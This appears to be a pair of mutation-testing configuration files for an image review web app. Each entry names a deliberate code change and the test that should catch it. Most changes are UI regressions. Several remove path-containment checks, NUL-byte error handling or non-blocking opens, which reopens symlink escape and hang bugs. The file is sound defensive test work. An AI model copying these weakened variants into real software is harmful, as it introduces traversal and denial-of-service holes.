[[mutation]]
label = "S1 Fit crops (cover, not contain)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
old = '''
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
new = '''
.vstage.is-img img{width:100%;height:100%;object-fit:cover;'''
[[mutation]]
label = "S2 the toggle stays hidden (the per-picture hide is back)"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
# r3: BoothMode.bind is page level and holds no picture, so the re-pointed hide
# reads the page's one picture and stage itself.
old = '''
toggle.hidden = false;'''
new = '''
toggle.hidden = document.querySelector('.vstage img').naturalWidth <= document.querySelector('.vstage').clientWidth;'''
[[mutation]]
label = "S2 the toggle shows without JS (display beats [hidden])"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
old = '''
.vtoggle[hidden]{display:none}'''
new = '''
'''
[[mutation]]
label = "S2 1:1 applied late (after the stage exists: a Fit flash)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
new = '''
if (localStorage.getItem('booth.fit') === 'one') document.addEventListener('DOMContentLoaded', function () { d.classList.add('stage-one'); });'''
[[mutation]]
label = "S2 a stray stored value is taken as 1:1"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
new = '''
if (localStorage.getItem('booth.fit')) d.classList.add('stage-one');'''
[[mutation]]
label = "S2 a storage write that throws swallows the click"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
var setMode = function (one) {
d.classList.toggle('stage-one', one);'''
new = '''
var setMode = function (one) {
localStorage.setItem('booth.fit', 'x');
d.classList.toggle('stage-one', one);'''
[[mutation]]
label = "S3 the arrows stay at the stage edges (never placed)"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
old = '''
var p = drawn();
if (!p) {'''
new = '''
var p = null;
if (!p) {'''
[[mutation]]
label = "S3 the arrows track the file's natural width, not the drawn picture"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
old = '''
var k = Math.min(b.width / img.naturalWidth, b.height / img.naturalHeight), w = img.naturalWidth * k;'''
new = '''
var k = 1, w = img.naturalWidth * k;'''
[[mutation]]
label = "S3 an arrow is not clamped inside the stage"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
old = '''
x = Math.max(lo, Math.min(hi, x));'''
new = '''
'''
# NEITHER path: the first draft of this row disabled only the ResizeObserver and
# fell through to the window listener, so it stayed green — vacuous.
[[mutation]]
label = "S3 the arrows do not follow a resize"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
old = '''
if (window.ResizeObserver) new ResizeObserver(settle).observe(stage);
else window.addEventListener('resize', settle);'''
new = '''
'''
[[mutation]]
label = "S4 the pan runs backwards (the picture flees the pointer)"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''
stage.scrollLeft = drag.l - dx;'''
new = '''
stage.scrollLeft = drag.l + dx;'''
[[mutation]]
label = "S4 no drag threshold (a jittery click pans)"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
new = '''
'''
[[mutation]]
label = "S4 the picture is draggable again"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''alt="{{ file }}" draggable="false">'''
new = '''alt="{{ file }}">'''
[[mutation]]
label = "S4 no grab cursor on a pannable 1:1 picture"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''
.stage-one .vstage.can-pan{cursor:grab;user-select:none}'''
new = '''
.stage-one .vstage.can-pan{user-select:none}'''
[[mutation]]
label = "S4 the stage reveal back inside the scrolled content (a pan carries it off)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''
.review-body > .reveal{position:absolute;top:14px;left:14px;z-index:5;'''
new = '''
.review-body > .reveal{position:absolute;top:14px;left:14px;z-index:-1;'''
# ---- the heid code-review fold ("VÍGUNDR")
[[mutation]]
label = "1:1 centres a large picture (its start side can never be scrolled to)"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_every_pixel_of_a_large_picture_is_reachable"
old = '''
.stage-one .vstage.is-img{overflow:auto;padding:0;justify-content:flex-start;align-items:flex-start}'''
new = '''
.stage-one .vstage.is-img{overflow:auto;padding:0}'''
[[mutation]]
label = "a buttonless hover continues a press released outside the stage"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover"
old = '''
if (!(e.buttons & 1)) { endDrag(); return; }'''
new = '''
'''
[[mutation]]
label = "no pointer capture (a pan dies at the stage's edge)"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_a_pan_holds_past_the_stage_edge_and_never_starts_on_a_hover"
old = '''
try { stage.setPointerCapture(drag.id); } catch (x) {}'''
new = '''
'''
[[mutation]]
label = "stacked, the arrows' fallback centres on stage AND rail"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_before_placement_the_arrows_never_sit_over_the_rail_on_a_narrow_screen"
old = '''
@media (max-width:900px){.vnav{top:30vh}}'''
new = '''
'''
[[mutation]]
label = "Fit shifts the picture off-centre (object-position), cropping it"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
old = '''
.vstage.is-img img{width:100%;height:100%;object-fit:contain;'''
new = '''
.vstage.is-img img{width:100%;height:100%;object-fit:contain;object-position:-100px 50%;'''
[[mutation]]
label = "the arrows are not centred on the stage"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_the_arrows_sit_just_outside_the_picture_and_clamp_to_the_stage"
old = '''
a.style.top = (s.top - o.top + s.height / 2) + 'px';'''
new = '''
a.style.top = (s.top - o.top + s.height / 4) + 'px';'''
[[mutation]]
label = "a booth.fit read that throws raises out of the head script"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
try {
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');
} catch (e) {}'''
new = '''
if (localStorage.getItem('booth.fit') === 'one') d.classList.add('stage-one');'''
[[mutation]]
label = "the drag threshold is per axis, not total (a 3,3 diagonal pans nothing)"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
new = '''
if (Math.abs(dx) < 4 && Math.abs(dy) < 4) return;'''
# ---- the heid bug-hunt fold ("ÞREKJUR"). Accepted, not rowed: no `touch-action`
# (on touch the stage scrolls natively and the pan yields on pointercancel);
# dragstart preventDefault beside draggable=false (defence in depth, one layer
# alone holds).
[[mutation]]
label = "the stage reveal shows with scripts off (and does nothing)"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow"
old = '''aria-label="reveal {{ file }}" hidden>'''
new = '''aria-label="reveal {{ file }}">'''
[[mutation]]
label = "a revealed review picture loses Fit's shadow"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_stage_reveal_never_shows_without_js_and_keeps_the_fit_shadow"
old = '''
.review .vstage.is-img.is-blurred.revealed img,.reveal-all .review .vstage.is-img.is-blurred img{'''
new = '''
.review .vstage.is-img.is-blurred.revealed-OFF img,.reveal-all .review .vstage.is-img.is-blurred img{'''
[[mutation]]
label = "a stage mode chosen in another tab does not reach this one"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_a_stage_mode_chosen_in_one_tab_moves_the_others"
old = '''
if (e.key !== 'booth.fit' && e.key !== null) return;'''
new = '''
return;'''
[[mutation]]
label = "the drag threshold drops to 3px"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_in_one_to_one_a_drag_pans_and_the_picture_cannot_be_dragged_away"
old = '''
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */'''
new = '''
if (dx * dx + dy * dy < 9) return; /* under 4px in all: a click */'''
[[mutation]]
label = "a storage write that throws cuts the click short (buttons never update)"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
try {
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
} catch (e) {}'''
new = '''
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');'''
[[mutation]]
label = "the Fit button's pressed state is never drawn"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');'''
new = '''
'''
# ---- groa's retry supplement (code review)
[[mutation]]
label = "S1 Fit loses its drop shadow"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_fit_fills_the_stage_up_or_down"
old = '''
.vstage.is-img img{width:100%;height:100%;object-fit:contain;
filter:drop-shadow(0 10px 24px rgb(0 0 0 / .32))}'''
new = '''
.vstage.is-img img{width:100%;height:100%;object-fit:contain}'''
[[mutation]]
label = "S2 the toggle hides, on load, for a picture larger than the stage"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_the_toggle_shows_for_every_picture_and_never_without_js"
# r3: `settle` is the stage's own (pannable) then the page's onSettle (place).
old = '''
function settle() { pannable(); onSettle(); }'''
new = '''
function settle() { pannable(); onSettle(); if (img) document.getElementById('vtoggle').hidden = img.naturalWidth > stage.clientWidth; }'''
[[mutation]]
label = "S2 choosing Fit stores a word instead of forgetting 1:1"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_the_mode_persists_across_prev_next_and_never_flashes"
old = '''
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');'''
new = '''
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.setItem('booth.fit', 'fit');'''
[[mutation]]
label = "S4 pan only when BOTH axes overflow"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_a_picture_that_overflows_one_axis_pans_along_it"
old = '''
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);'''
new = '''
(stage.scrollWidth > stage.clientWidth && stage.scrollHeight > stage.clientHeight);'''
# ---- groa's retry supplement (bug hunt): classic scrollbars
[[mutation]]
label = "a press on the stage's scrollbar starts a pan"
file = "booth/templates/_stage_js.html"
test = "tests/test_flow_browser.py::test_a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan"
old = '''
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;'''
new = '''
'''
[[mutation]]
label = "the arrows clamp to the border box (the next one sits under a classic scrollbar)"
file = "booth/templates/view.html"
test = "tests/test_flow_browser.py::test_a_classic_scrollbar_is_neither_under_an_arrow_nor_a_pan"
old = '''
var cl = s.left + stage.clientLeft, cr = cl + stage.clientWidth;'''
new = '''
var cl = s.left, cr = s.right;'''
+596
View File
@@ -0,0 +1,596 @@
# R3 — compare: every falsifier the contract claims
# (docs/contracts/r3_compare.contract.md), and the change each forbids.
unit = "compare: two picked rels side by side, linked stepping, synced pan, flag the winner"
# ---- C1: the route and the pair
[[mutation]]
label = "C1 the conjunction loses containment (an outside symlink in the ring opens)"
file = "booth/app.py"
test = "tests/test_compare.py::test_an_outside_symlink_in_the_ring_is_404"
old = '''
return str(target).startswith(str(booth) + os.sep) and target.is_file()'''
new = '''
return target.is_file()'''
[[mutation]]
label = "C1 the conjunction loses the ring (a doc or a sidecar opens as a side)"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_bad_side_is_a_404"
old = '''
return [r for r in review_chain(items) if _in_booth(booth, r)]'''
new = '''
return [it.rel for it in items if _in_booth(booth, it.rel)]'''
[[mutation]]
label = "C1 a missing side is FastAPI's 422 (no default)"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_missing_param_is_404_not_422"
old = '''def booth_compare(request: Request, name: str, a: str = "", b: str = "",'''
new = '''def booth_compare(request: Request, name: str, a: str, b: str,'''
[[mutation]]
label = "C1 a look records only A"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_look_records_both_seen"
old = '''
record_seen(booth, b, items)'''
new = '''
'''
[[mutation]]
label = "C1 the look is recorded above the 404s (a bad pair holds a booth open)"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_look_records_both_seen"
old = '''
booth = resolve_booth(name)
items = booth_items(booth)
ring = _compare_ring(booth, items)'''
new = '''
booth = resolve_booth(name)
record_view(booth)
items = booth_items(booth)
ring = _compare_ring(booth, items)'''
[[mutation]]
label = "C6 compare does not carry data-booth (Reveal all and its restore bail)"
file = "booth/templates/compare.html"
test = "tests/test_compare.py::test_compare_carries_data_booth"
old = '''{% block html_attrs %} data-booth="{{ name }}"{% endblock %}'''
new = '''{% block html_attrs %}{% endblock %}'''
# ---- C2/C3: picking and stepping, server-built
[[mutation]]
label = "C3 linked steps do not keep the distance (B lands one after A)"
file = "booth/app.py"
test = "tests/test_compare.py::test_linked_steps_keep_the_distance_and_wrap"
old = ''' "both_next": url(ring[(ia + 1) % n], ring[(ib + 1) % n]),'''
new = ''' "both_next": url(ring[(ia + 1) % n], ring[(ia + 2) % n]),'''
[[mutation]]
label = "C3 linked steps stop at the end instead of wrapping"
file = "booth/app.py"
test = "tests/test_compare.py::test_linked_steps_keep_the_distance_and_wrap"
old = ''' "both_next": url(ring[(ia + 1) % n], ring[(ib + 1) % n]),'''
new = ''' "both_next": url(ring[min(ia + 1, n - 1)], ring[min(ib + 1, n - 1)]),'''
[[mutation]]
label = "INV-1 a link is keyed by ordinal"
file = "booth/app.py"
test = "tests/test_compare.py::test_the_urls_are_keyed_by_rel"
old = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}"'''
new = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}&i={by_rel[x].ordinal}"'''
[[mutation]]
label = "INV-1 a rel is not url-quoted in a link"
file = "booth/app.py"
test = "tests/test_compare.py::test_the_urls_are_keyed_by_rel"
old = ''' u = f"/b/{name_url}/compare?a={quote(x, safe='/')}&b={quote(y, safe='/')}"'''
new = ''' u = f"/b/{name_url}/compare?a={x}&b={y}"'''
[[mutation]]
label = "C2 the view state does not ride the links"
file = "booth/app.py"
test = "tests/test_compare.py::test_view_state_rides_the_links"
old = '''
if not linked:
u += "&link=0"
return u'''
new = '''
return u'''
[[mutation]]
label = "C2 an unknown side reads as A"
file = "booth/app.py"
test = "tests/test_compare.py::test_view_state_rides_the_links"
old = ''' side_a = side == "a"'''
new = ''' side_a = side not in ("", "b")'''
[[mutation]]
label = "C2 the review's Compare does not wrap (the last item compares with itself)"
file = "booth/app.py"
test = "tests/test_compare.py::test_the_review_offers_compare_with_the_next_item"
old = '''(ring[(pos + k) % len(ring)] for k in range(1, len(ring) + 1))'''
new = '''(ring[min(pos + k, len(ring) - 1)] for k in range(1, len(ring) + 1))'''
# ---- C5: the regions and the JS-off flag landing
[[mutation]]
label = "C5 the side regions share one id (B's control becomes A's after a save)"
file = "booth/templates/compare.html"
test = "tests/test_compare.py::test_no_data_region_repeats"
old = '''<div class="cmp-flag" data-region="flag-{{ key }}">'''
new = '''<div class="cmp-flag" data-region="flag">'''
[[mutation]]
label = "C5 back=compare lands on a pair outside the ring (no ring check)"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
old = '''
if a in ring and b in ring:'''
new = '''
if True:'''
[[mutation]]
label = "C5 the landing echoes the form's side instead of mapping it"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
old = '''
if form.get("side") == "a":
url += "&side=a"'''
new = '''
if form.get("side"):
url += "&side=" + str(form.get("side"))'''
[[mutation]]
label = "C5 the landing carries a fragment"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_flag_without_js_lands_on_the_same_pair"
old = '''
return RedirectResponse(url=url, status_code=303)
return RedirectResponse(url=f"{base}#{anchor}", status_code=303)'''
new = '''
return RedirectResponse(url=url + "#" + anchor, status_code=303)
return RedirectResponse(url=f"{base}#{anchor}", status_code=303)'''
# ---- C4: the stages
[[mutation]]
label = "C4 the sides stack on a wide screen (compare's break is not the review's 900px)"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
# Not the column count: each side spans every row (subgrid), so a single
# declared column still auto-places the second side into an implicit column
# beside the first — that row was vacuous. The break is what a slip moves.
old = '''
@media (max-width:900px){
.viewer.review.compare{display:block}'''
new = '''
@media (max-width:1600px){
.viewer.review.compare{display:block}'''
[[mutation]]
label = "C4 a caption takes its height from one stage only (Fit draws the two at two scales)"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
old = '''
.cmp-side{display:grid;grid-row:1 / -1;grid-template-rows:subgrid;'''
new = '''
.cmp-side{display:grid;grid-row:1 / -1;grid-template-rows:auto minmax(0,1fr) auto;'''
[[mutation]]
label = "C4 stacked, a stage keeps the review's 60vh"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
old = '''
.review.compare .vstage{height:45vh}'''
new = '''
'''
[[mutation]]
label = "C4 Z is not bound (the mode key is missing on compare)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_one_mode_for_both_and_for_the_review"
old = '''
else if ((k === 'z' || k === 'Z') && mode) mode.flip();'''
new = '''
'''
[[mutation]]
label = "C4 no synced pan"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_synced_pan_lands_on_the_same_crop"
old = '''
sync(s.el, other);'''
new = '''
'''
[[mutation]]
label = "C4 the sync copies the pixel offset, not the fraction"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_synced_pan_by_fraction_for_different_sizes"
old = '''
if (fx > 0 && tx > 0) l = from.scrollLeft / fx * tx;
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;'''
new = '''
if (fx > 0 && tx > 0) l = from.scrollLeft;
if (fy > 0 && ty > 0) t = from.scrollTop;'''
[[mutation]]
label = "C4 the synced-pan loop guard is gone (a sync echoes back and walks the side put)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_synced_pan_by_fraction_for_different_sizes"
old = '''
if (mine) {
s.el.__synced = null;
if (Math.abs(s.el.scrollLeft - mine.l) < 1 && Math.abs(s.el.scrollTop - mine.t) < 1) return;
}'''
new = '''
'''
# ---- C2/C3: the view state and the keys, in the page
[[mutation]]
label = "C3 unlinked, an arrow still moves both sides"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
old = '''
var which = (linked ? 'both' : active) + (dir < 0 ? '-prev' : '-next');'''
new = '''
var which = 'both' + (dir < 0 ? '-prev' : '-next');'''
[[mutation]]
label = "C2 the unlinked state does not survive a step (it is not in the next URL)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
old = '''
if (!linked) parts.push('link=0');'''
new = '''
'''
[[mutation]]
label = "C2 X does not swap the active side"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
old = '''
else if (k === 'x' || k === 'X') setActive(active === 'a' ? 'b' : 'a');'''
new = '''
'''
[[mutation]]
label = "C2 the active stage does not wear the reticle"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
old = '''
.cmp-side.is-active>.cmp-stagewrap::after,.film-f.is-active::after{content:"";'''
new = '''
.film-f.is-active::after{content:"";'''
[[mutation]]
label = "C2 a strip click always replaces B (not the side active now)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
old = '''
var pick = f.getAttribute('data-pick-' + active);
if (!pick) return;'''
new = '''
var pick = f.getAttribute('data-pick-b');
if (!pick) return;'''
[[mutation]]
label = "C2 a press on a stage does not make its side active"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
old = '''
s.el.addEventListener('pointerdown', function () { setActive(s.k); });'''
new = '''
'''
[[mutation]]
label = "C2 the active side is not written back into the URL (a reload forgets it)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_a_save_keeps_the_active_side"
old = '''
try { history.replaceState(history.state, '', withState(location.pathname + location.search)); } catch (e) {}'''
new = '''
'''
[[mutation]]
label = "C3 a held modifier does not make the keys inert"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
old = '''
if (isEditable(e.target)) return;
if (e.metaKey || e.ctrlKey || e.altKey) return;
var k = e.key;'''
new = '''
if (isEditable(e.target)) return;
var k = e.key;'''
[[mutation]]
label = "C3 Space on a focused control steps instead of pressing it"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
old = '''
if (e.target.closest && e.target.closest('button, a, summary, video, audio')) return;'''
new = '''
'''
[[mutation]]
label = "INV-6 the review has no C key"
file = "booth/templates/view.html"
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
old = '''
else if ((e.key === 'c' || e.key === 'C') && COMPARE) { e.preventDefault(); window.location.href = COMPARE; }'''
new = '''
'''
# ---- C5: judging in place
[[mutation]]
label = "C5 a stage is a region (a save swaps it, and a playing track restarts)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
old = '''<div class="vstage{% if s.kind == 'image' %} is-img{% endif %}'''
new = '''<div data-region="stage-{{ key }}" class="vstage{% if s.kind == 'image' %} is-img{% endif %}'''
[[mutation]]
label = "C5 the B key presses the first flag button on the page (A's)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
old = '''
var btn = document.getElementById('cmp-flag-' + k.toLowerCase());'''
new = '''
var btn = document.querySelector('.cmp-flag .vflag-btn');'''
# ---- C6: blur
[[mutation]]
label = "C6 Reveal all leaves the per-side reveals standing"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
old = '''
.reveal-all .cmp-reveal{display:none}'''
new = '''
'''
[[mutation]]
label = "C6 a side's reveal lifts A's blur whichever side it sits on"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
old = '''
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');'''
new = '''
var stage = sides.a.querySelector('.vstage');'''
[[mutation]]
label = "C6 compare's root is not a .review (the blur rules do not reach its stages)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
old = '''<div class="viewer review compare" data-linked'''
new = '''<div class="viewer compare" data-linked'''
# ---- INV-4: without JS
[[mutation]]
label = "INV-4 the JS-only Linked toggle shows without JS (inline-flex beats [hidden])"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_without_js_every_judgment_and_step_still_works"
old = '''
.cmp-link[hidden]{display:none}'''
new = '''
'''
[[mutation]]
label = "INV-4 without JS a strip frame goes nowhere useful (links the review instead)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_without_js_every_judgment_and_step_still_works"
old = '''
href="{{ x.pick }}" data-rel'''
new = '''
href="/b/{{ name_url }}/view?f={{ x.url }}" data-rel'''
# ---- the top bar at phone width (the review's, and compare's)
[[mutation]]
label = "at phone width a full top bar scrolls the page sideways instead of wrapping"
file = "booth/templates/base.html"
test = "tests/test_flow_browser.py::test_the_review_and_doc_top_bars_fit_a_phone"
old = '''
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
new = '''
'''
[[mutation]]
label = "compare's top bar crushes its controls at phone width (the Fit | 1:1 toggle to 2px)"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
old = '''
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
new = '''
'''
# ---- the heid code-review fold (01M3AJXX8RH4QZPY5D1DQWQQGQ)
[[mutation]]
label = "C4 the separator is a border on B (B's stage 1px narrower than A's)"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
old = '''
background:var(--surface-sunken)}'''
new = '''
background:var(--surface-sunken)}
.cmp-side+.cmp-side{border-left:1px solid var(--border-subtle)}'''
[[mutation]]
label = "C4 the stack break drifts to 1000px"
file = "booth/templates/base.html"
test = "tests/test_compare_browser.py::test_two_stages_side_by_side_wide_and_stacked_narrow"
old = '''
@media (max-width:900px){
.viewer.review.compare{display:block}'''
new = '''
@media (max-width:1000px){
.viewer.review.compare{display:block}'''
[[mutation]]
label = "C4 a side with nothing to scroll on an axis does not ignore it (0/0 resets the other)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_an_axis_with_nothing_to_scroll_is_ignored"
old = '''
if (fy > 0 && ty > 0) t = from.scrollTop / fy * ty;'''
new = '''
if (ty > 0) t = from.scrollTop / fy * ty;'''
[[mutation]]
label = "C4 two videos get a Fit | 1:1 toggle"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_video_or_track_plays_in_its_own_stage_and_two_get_no_toggle"
old = '''
"any_image": any(by_rel[r].kind == "image" for r in (a, b)),'''
new = '''
"any_image": True,'''
[[mutation]]
label = "C3 Space on a focused player steps the pair"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_the_keys_keep_the_reviews_guards_and_c_toggles_the_view"
old = '''e.target.closest('button, a, summary, video, audio')'''
new = '''e.target.closest('button, a, summary')'''
[[mutation]]
label = "C3 there is no back arrow"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_unlinked_moves_only_the_active_side_and_the_strip_picks_it"
old = '''
else if (k === 'ArrowLeft') step(-1);'''
new = '''
'''
[[mutation]]
label = "C1 containment is a bare prefix (a sibling booth sharing the name opens)"
file = "booth/app.py"
test = "tests/test_compare.py::test_an_outside_symlink_in_the_ring_is_404"
old = '''
return str(target).startswith(str(booth) + os.sep) and target.is_file()'''
new = '''
return str(target).startswith(str(booth)) and target.is_file()'''
[[mutation]]
label = "C1 the strip is not in ring order"
file = "booth/app.py"
test = "tests/test_compare.py::test_compare_renders_the_pair"
old = '''
"pick_a": url(r, b), "pick_b": url(a, r)} for r in ring]'''
new = '''
"pick_a": url(r, b), "pick_b": url(a, r)} for r in ring[::-1]]'''
[[mutation]]
label = "C6 each reveal lifts B's blur whichever side it sits on"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_blur_is_honest_on_both_sides"
old = '''
var stage = sides[btn.getAttribute('data-side')].querySelector('.vstage');'''
new = '''
var stage = sides.b.querySelector('.vstage');'''
[[mutation]]
label = "C5 the strip does not show a flag made in place"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_a_flags_A_in_place_and_the_stages_survive"
old = '''<a class="film-f{% if x.flagged %} is-flagged{% endif %}'''
new = '''<a class="film-f'''
# ---- the heid bug-hunt fold (01M3ANEPHTDMPP4Q18Z075181W)
[[mutation]]
label = "C1 navigation is built from the review ring (it offers an outside symlink that 404s)"
file = "booth/app.py"
test = "tests/test_compare.py::test_no_navigation_offers_a_pair_that_404s"
old = '''
return [r for r in review_chain(items) if _in_booth(booth, r)]'''
new = '''
return list(review_chain(items))'''
[[mutation]]
label = "a NUL in the booth segment is a 500 (ValueError is not an OSError)"
file = "booth/app.py"
test = "tests/test_compare.py::test_hostile_booth_names_are_404_not_500"
old = '''
resolved = candidate.resolve()
except (OSError, ValueError):'''
new = '''
resolved = candidate.resolve()
except OSError:'''
[[mutation]]
label = "a FIFO planted at .viewed hangs the look (a blocking open)"
file = "booth/app.py"
test = "tests/test_compare.py::test_a_planted_fifo_marker_cannot_hang_a_look"
old = '''os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW | os.O_NONBLOCK, 0o644)'''
new = '''os.O_WRONLY | os.O_CREAT | os.O_NOFOLLOW, 0o644)'''
[[mutation]]
label = "C2 an encoded view-state name survives the rewrite (%73ide=a outlives X)"
file = "booth/templates/compare.html"
test = "tests/test_compare_browser.py::test_an_encoded_view_state_name_is_still_view_state"
old = '''
return p && n !== 'side' && n !== 'link';'''
new = '''
